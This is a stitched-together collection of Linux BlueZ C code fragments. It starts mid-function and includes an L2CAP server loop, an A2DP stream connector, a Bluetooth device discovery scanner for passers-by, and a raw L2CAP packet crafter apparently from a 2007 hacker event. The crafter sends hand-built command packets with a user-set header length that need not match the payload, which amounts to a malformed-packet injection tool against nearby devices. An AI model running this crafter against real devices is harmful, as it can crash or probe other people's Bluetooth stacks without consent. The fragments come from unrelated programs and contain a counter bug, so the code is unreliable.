0; for (i = 0; i < 100; i++) { hci_read_rssi(hciSocket, hciHandle, &rssi, 1000); if (rssi != 0) { break; } } if (rssi == 0) { rssi = 127; } printf("rssi = %d\n", rssi); } } else if (result) { if (FD_ISSET(0, &rfds)) { len = read(0, stdinBuf, sizeof(stdinBuf)); if (len <= 0) { break; } i = 0; while(stdinBuf[i] != '\n') { unsigned int data = 0; sscanf(&stdinBuf[i], "%02x", &data); l2capSockBuf[i / 2] = data; i += 2; } len = write(clientL2capSock, l2capSockBuf, (len - 1) / 2); } if (FD_ISSET(clientL2capSock, &rfds)) { len = read(clientL2capSock, l2capSockBuf, sizeof(l2capSockBuf)); if (len <= 0) { break; } btSecurityLen = sizeof(btSecurity); memset(&btSecurity, 0, btSecurityLen); getsockopt(clientL2capSock, SOL_BLUETOOTH, BT_SECURITY, &btSecurity, &btSecurityLen); if (securityLevel != btSecurity.level) { securityLevel = btSecurity.level; const char *securityLevelString; switch(securityLevel) { case BT_SECURITY_LOW: securityLevelString = "low"; break; case BT_SECURITY_MEDIUM: securityLevelString = "medium"; break; case BT_SECURITY_HIGH: securityLevelString = "high"; break; default: securityLevelString = "unknown"; break; } printf("security %s\n", securityLevelString); } printf("data "); for(i = 0; i < len; i++) { printf("%02x", ((int)l2capSockBuf[i]) & 0xff); } printf("\n"); } } } printf("disconnect %s\n", batostr(&clientBdAddr)); close(clientL2capSock); } } printf("close\n"); close(serverL2capSock); close(hciSocket); return 0; }
// Connecting on PSM 25 static int do_connect(bdaddr_t *src, bdaddr_t *dst, unsigned short psm, uint16_t *mtu) { struct sockaddr_l2 addr; struct l2cap_options opts; int sk; unsigned int opt; int tries; sk = socket(PF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP); if (sk < 0) { DBG( "Can't create socket. %s(%d)", strerror(errno), errno); return -1; } memset(&addr, 0, sizeof(addr)); addr.l2_family = AF_BLUETOOTH; bacpy(&addr.l2_bdaddr, src); if (bind(sk, (struct sockaddr *) &addr, sizeof(addr)) < 0) { DBG( "Can't bind socket. %s(%d)", strerror(errno), errno); return -1; } /* Get default options */ opt = sizeof(opts); if (getsockopt(sk, SOL_L2CAP, L2CAP_OPTIONS, &opts, &opt) < 0) { DBG( "Can't get default L2CAP options. %s(%d)", strerror(errno), errno); return -1; } /* Set new options */ if(mtu && *mtu) { opts.omtu = *mtu; //opts.imtu = *mtu; } if (setsockopt(sk, SOL_L2CAP, L2CAP_OPTIONS, &opts, opt) < 0) { DBG( "Can't set L2CAP options. %s(%d)", strerror(errno), errno); return -1; } memset(&addr, 0, sizeof(addr)); addr.l2_family = AF_BLUETOOTH; bacpy(&addr.l2_bdaddr, dst); addr.l2_psm = htobs(psm); tries = 0; while (connect(sk, (struct sockaddr *) &addr, sizeof(addr)) < 0) { DBG("Can't connect to %s on psm %d. %s(%d)", batostr(&addr.l2_bdaddr), psm, strerror(errno), errno); sleep(1); ++tries; if(++tries > 10) { close(sk); return -1; } } opt = sizeof(opts); if (getsockopt(sk, SOL_L2CAP, L2CAP_OPTIONS, &opts, &opt) < 0) { DBG( "Can't get L2CAP options. %s(%d)", strerror(errno), errno); close(sk); return -1; } DBG( "Connected [imtu %d, omtu %d, flush_to %d]", opts.imtu, opts.omtu, opts.flush_to); if (mtu) *mtu = opts.omtu; return sk; }
static int connect_stream(bdaddr_t *src, bdaddr_t *dst, int *cmdfd_return, sbc_t *sbc) { int cmdfd; struct getcap_req put_req; struct sepd_resp get_resp; struct start_stream_cmd start_stream; struct start_stream_rsp start_resp; int seid, last_seid_index; int size; int i; unsigned short psm_cmd,psm_stream; unsigned long flags = 0; static int streamfd; uint16_t mtu = 0; int tries; DBG( "Using address: %s", batostr(dst)); if (detect_a2dp(src, dst, &psm_cmd, &flags) < 0) { DBG( "could not find A2DP services on device %s", batostr(dst)); exit(-1); } else { DBG( "Found A2DP Sink at the destination"); } psm_cmd=25; cmdfd = do_connect(src, dst, psm_cmd, NULL); if (cmdfd < 0) { DBG( "cannot open psm_cmd = %d", psm_cmd); exit(-1); } // avdt_discover_req memset(&put_req, 0, sizeof(put_req)); init_request(&put_req.header, AVDTP_DISCOVER); if (write(cmdfd, &put_req, sizeof(put_req)) != sizeof(put_req)) { DBG("couldn't send avdtp_discover"); close(cmdfd); exit(-1); } else { DBG("Sent the Stream End Point Discovery Command"); } tries = 0; while((size = read(cmdfd, &get_resp, sizeof(get_resp))) < 0) { DBG("retrying discover response read..."); sleep(1); if(++tries > 10) { break; } } if (size < sizeof(get_resp) - MAX_ADDITIONAL_CODEC_OCTETS) { DBG("couldn't get avdtp_discover"); close(cmdfd); exit(-1); } else { DBG("Got a Stream End Point Discovery Response"); } seid = -1; last_seid_index = MAX_ADDITIONAL_CODEC - ((sizeof(get_resp)-size)/sizeof(struct acp_seid_info)); DBG("received %d capabilities", last_seid_index + 1); for(i=0; i <= last_seid_index; i++) { if (process_seid(cmdfd, &get_resp.infos[i], &psm_stream, sbc) == 0) { seid = get_resp.infos[i].acp_seid; break; } } if(seid == -1) { //We have not found the seid that we want DBG("couldn't locate the correct seid"); exit(-1); } // open the stream streamfd = do_connect(src, dst, psm_stream, &mtu); if (streamfd < 0) { DBG("cannot open psm_stream = %d", psm_stream); exit(-1); } // start the stream memset(&start_stream, 0, sizeof(start_stream)); init_request(&start_stream.header, AVDTP_START); start_stream.acp_seid = seid; if (write(cmdfd, &start_stream, sizeof(start_stream)) != sizeof(start_stream)) { DBG("couldn't send start_stream"); close(streamfd); close(cmdfd); exit(-1); } DBG("Sent stream start"); if (read(cmdfd, &start_resp, sizeof(start_resp)) < sizeof(start_resp) - 2 ||start_resp.header.message_type == MESSAGE_TYPE_REJECT) { DBG("didn't receive start_resp confirm for seid = %d", seid); close(streamfd); close(cmdfd); return (-1); } DBG("Got start stream confirm"); *cmdfd_return = cmdfd; return streamfd; }
static void hciDiscovery(int dev_id) { int length, flags, dd, i; bdaddr_t bdaddr; char name[248]; inquiry_info *info = NULL; int num_rsp = 100; dd = hci_open_dev(dev_id); if (dd < 0) { fprintf(stderr, "HCI device open failed"); free(info); exit(1); } int ctl; if ((ctl = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI)) < 0) { perror("Can't open HCI socket."); } struct hci_dev_req dr; dr.dev_id = dev_id; dr.dev_opt = SCAN_DISABLED; // Stop the dongles from discovering each other! ioctl(ctl, HCISETSCAN, (unsigned long) &dr); /* Reset HCI device with a stop[ and start*/ printf("resetting hci device. \n"); ioctl(ctl, HCIDEVDOWN, dev_id); ioctl(ctl, HCIDEVUP, dev_id); close(ctl); // Need to field test small values. length = 4; /* multiply by 1.2 seconds */ flags = IREQ_CACHE_FLUSH; printf("sending inquiry\n"); num_rsp = hci_inquiry(dev_id, length, num_rsp, NULL, &info, flags); if(num_rsp > 0) { printf("hci%d saw %d responses\n", dev_id, num_rsp); } // we need to come up with a device class lookup function // this is just incase we drive or walk by too quick to get a devname... this should be logged somewhere. char addr[18]; for (i = 0; i < num_rsp; i++) { ba2str(&(info+i)->bdaddr, addr); printf("%s\tclass: 0x%2.2x%2.2x%2.2x\n",addr, (info+i)->dev_class[2], (info+i)->dev_class[1], (info+i)->dev_class[0]); } // this may need to be done differently. for(i = 0; i < num_rsp; i++) { memset(name, 0, sizeof(name)); if (hci_read_remote_name(dd, &(info+i)->bdaddr, sizeof(name), name, opts.btout) == 0) { baswap(&bdaddr, &(info+i)->bdaddr); printf("hci%d Discovered: %s [%s] - %s\n", dev_id, name, batostr(&bdaddr), findManf(batostr(&bdaddr))); sdptool(name,findManf(batostr(&bdaddr)),batostr(&bdaddr),dev_id); } } // where does the sdptool code go? hci_close_dev(dd); free(info); }
// MAIN PART int main(int argc, char *argv[]) { l2cap_cmd_hdr *cmd; // struct detailed in kernel_source/include/net/bluetooth/l2cap.h struct sockaddr_l2 laddr, raddr; struct hci_dev_info di; char *buf, *remote_address = NULL; char dummy_payload[] = "greets from ccc easterhegg 2007"; char *payload = dummy_payload; int sock, c, i; int l2_code = 0x08; int l2_ident = 23; int l2_hsize = 42; // Get params while ((c = getopt (argc, argv, "a:c:i:p:s:")) != -1) { switch (c) { case 'a': remote_address = optarg; break; case 'c': l2_code = atoi(optarg); break; case 'i': l2_ident = atoi(optarg); break; case 'p': payload = (char *)optarg; break; case 's': l2_hsize = atoi(optarg); break; default: usage(); break; } } if(remote_address == NULL) { printf(">>> I need at least a remote btaddr...\n\n"); usage(); exit(EXIT_FAILURE); } if(l2_hsize == 42) { l2_hsize = strlen(payload); } // Get local device info if(hci_devinfo(0, &di) < 0) { perror("HCI device info failed"); exit(EXIT_FAILURE); } printf("Local device %s\n", batostr(&di.bdaddr)); printf("Remote device %s\n", remote_address); printf("L2CAP code %d\n", l2_code); printf("L2CAP ident %d\n", l2_ident); printf("L2CAP header length %d\n", l2_hsize); /* Construct local addr */ laddr.l2_family = AF_BLUETOOTH; laddr.l2_bdaddr = di.bdaddr; laddr.l2_psm = 0; /* Construct remote addr */ memset(&raddr, 0, sizeof(raddr)); raddr.l2_family = AF_BLUETOOTH; str2ba(remote_address, &raddr.l2_bdaddr); /* Create a Bluetooth raw socket */ if ((sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) { perror("socket"); exit(EXIT_FAILURE); } /* ...and bind it to the local device */ if (bind(sock, (struct sockaddr *) &laddr, sizeof(laddr)) < 0) { perror("bind"); exit(EXIT_FAILURE); } /* Let's try to connect */ if (connect(sock, (struct sockaddr *) &raddr, sizeof(raddr)) < 0) { perror("connect"); exit(EXIT_FAILURE); } /* Init packet buffer */ if( ! (buf = (char *) malloc (L2CAP_CMD_HDR_SIZE + strlen(payload))) ) { perror("malloc"); exit(EXIT_FAILURE); } /* Set L2CAP header properties */ cmd = (l2cap_cmd_hdr *) buf; cmd->code = l2_code; cmd->ident = l2_ident; cmd->len = htobs(l2_hsize); /* Copy payload after l2cap header */ strncpy((buf + L2CAP_CMD_HDR_SIZE), payload, strlen(payload)); /* Throw the packet into the air */ if(send(sock, buf, L2CAP_CMD_HDR_SIZE + strlen(payload), 0) <= 0) { perror("send"); } printf("L2CAP packet was send\n"); /* Disconnect */ close(sock); return EXIT_SUCCESS; }